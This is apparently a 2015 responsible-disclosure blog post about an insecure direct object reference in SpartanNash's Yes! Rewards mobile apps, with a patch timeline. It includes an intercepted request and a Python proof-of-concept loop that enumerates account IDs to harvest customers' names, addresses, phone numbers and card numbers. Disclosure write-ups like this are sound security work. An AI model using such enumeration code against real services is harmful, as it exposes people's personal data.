SpartanNash, formerly Spartan Stores, is a food distributor and grocery store retailer headquartered in Byron Center, Michigan. Some of the popular grocery store chains they own include: D&W Fresh Market, Family Fare, VG’s Grocery, and Glen’s Markets.

They offer a loyalty program called Yes! Rewards, which allows customers to receive everyday savings, digital coupons, free and low cost prescriptions, and savings on fuel.

My buddy Ryan Griffin, a pentester for OST, assisted in finding and disclosing the vulnerability with me. We discovered the vulnerability after digging deeper into the iOS and Android applications to see how they worked. Using Burp Suite, we intercepted the requests being made from the app.

GET /mobile2.nsf/A_GET_CONSUMER_PROFILE_JSON?OpenAgent&unid=***REMOVED*** HTTP/1.1 Host: yes.spartanstores.com 1 2 GET / mobile2 . nsf / A_GET_CONSUMER_PROFILE_JSON ? OpenAgent & unid = * * * REMOVED* * * HTTP / 1.1 Host : yes . spartanstores . com

We discovered the unid was just a unique id number for each account and we found it vulnerable to an insecure direct object reference. To test this, we had Ryan log in to his Yes! Rewards account and intercepted the request, swapping his unid with mine.

When we sent the request to the Burp Repeater, we found this response:

"result": "SUCCESS", "unid": "-redacted-", "card": "-redacted-", "firstname": "Adam", "lastname": "Logue", "address": "-redacted-", "aptsuite": "", "city": "Grand Rapids", "state": "MI", "zip": "-redacted-", "phone1": "-redacted area code-", "phone2": "-redacted first three digits-", "phone3": "-redacted last four digits-" 1 2 3 4 5 6 7 8 9 10 11 12 13 "result" : "SUCCESS" , "unid" : "-redacted-" , "card" : "-redacted-" , "firstname" : "Adam" , "lastname" : "Logue" , "address" : "-redacted-" , "aptsuite" : "" , "city" : "Grand Rapids" , "state" : "MI" , "zip" : "-redacted-" , "phone1" : "-redacted area code-" , "phone2" : "-redacted first three digits-" , "phone3" : "-redacted last four digits-"

Below is a python proof of concept that demonstrates enumeration of personal information. The applications have been patched and this code will no longer work.

import json import requests import string #get rid of pesky insecure ssl warnings each time requests.packages.urllib3.disable_warnings() counter = 1 while True: r = requests.get("https://yes.spartanstores.com/mobile2.nsf/A_GET_CONSUMER_PROFILE_JSON?OpenAgent&unid=%d"%counter) if 'FAILED' not in r.content: uid = r.content.split("\"")[7].split("\"",1)[0] #pulls user card number cardnum = r.content.split("\"")[11].split("\"",1)[0] #pulls user first name fname = r.content.split("\"")[15].split("\"",1)[0] #pulls user last name lname = r.content.split("\"")[19].split("\"",1)[0] address = r.content.split("\"")[23].split("\"",1)[0] city = r.content.split("\"")[31].split("\"",1)[0] state = r.content.split("\"")[35].split("\"",1)[0] zip = r.content.split("\"")[39].split("\"",1)[0] phone1 = r.content.split("\"")[43].split("\"",1)[0] phone2 = r.content.split("\"")[47].split("\"",1)[0] phone3 = r.content.split("\"")[51].split("\"",1)[0] print('{},\t{} {},\t\t{} {} {} {},\t\t({}){}-{},\t{}'.format(uid, fname, lname, address, city, state, zip, phone1, phone2, phone3, cardnum)) counter += 1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 import json import requests import string #get rid of pesky insecure ssl warnings each time requests . packages . urllib3 . disable_warnings ( ) counter = 1 while True : r = requests . get ( "https://yes.spartanstores.com/mobile2.nsf/A_GET_CONSUMER_PROFILE_JSON?OpenAgent&unid=%d" % counter ) if 'FAILED' not in r . content : uid = r . content . split ( "\"" ) [ 7 ] . split ( "\"" , 1 ) [ 0 ] #pulls user card number cardnum = r . content . split ( "\"" ) [ 11 ] . split ( "\"" , 1 ) [ 0 ] #pulls user first name fname = r . content . split ( "\"" ) [ 15 ] . split ( "\"" , 1 ) [ 0 ] #pulls user last name lname = r . content . split ( "\"" ) [ 19 ] . split ( "\"" , 1 ) [ 0 ] address = r . content . split ( "\"" ) [ 23 ] . split ( "\"" , 1 ) [ 0 ] city = r . content . split ( "\"" ) [ 31 ] . split ( "\"" , 1 ) [ 0 ] state = r . content . split ( "\"" ) [ 35 ] . split ( "\"" , 1 ) [ 0 ] zip = r . content . split ( "\"" ) [ 39 ] . split ( "\"" , 1 ) [ 0 ] phone1 = r . content . split ( "\"" ) [ 43 ] . split ( "\"" , 1 ) [ 0 ] phone2 = r . content . split ( "\"" ) [ 47 ] . split ( "\"" , 1 ) [ 0 ] phone3 = r . content . split ( "\"" ) [ 51 ] . split ( "\"" , 1 ) [ 0 ] print ( '{},\t{} {},\t\t{} {} {} {},\t\t({}){}-{},\t{}' . format ( uid , fname , lname , address , city , state , zip , phone1 , phone2 , phone3 , cardnum ) ) counter += 1

Other vulnerabilities discovered in this application worth mentioning included the ability to clip coupons for other customers, add and remove other customers from Yes! Rewards “clubs”, and view transaction details from other customers. On the Android application, we also had the ability to edit customer profile information. Many of these vulnerabilities were the result of insecure direct object references discovered by substituting another person’s rewards card number. All of the vulnerabilities discovered have been patched.

Disclosure Timeline

10/14/2015: Vulnerability Discovered

10/15/2015: Contacted SpartanNash customer service in attempt to make contact with the proper individuals.

10/16/2015: Received call back from Rob Hoffman and Darryl Grimes, emailed vulnerability information, including PoC. Vulnerability Exposure Stopped (temporarily removed the ability to view name information).

10/22/2015: Received follow up email asking to discuss the fix further. iOS and Android application updates were pushed to the App Store and Play Store with the re-architected security measures.

10/24/2015: Conference call with Rob Hoffman and Darryl Grimes from SpartanNash discussing the patch.

10/25/2015: Fix Confirmed

A special thanks goes out to Rob Hoffman and Darryl Grimes with SpartanNash for fast communication and quickly patching the vulnerability. They were a pleasure to work with. Also to Ryan Griffin for assisting with the finding, PoC, and disclosure.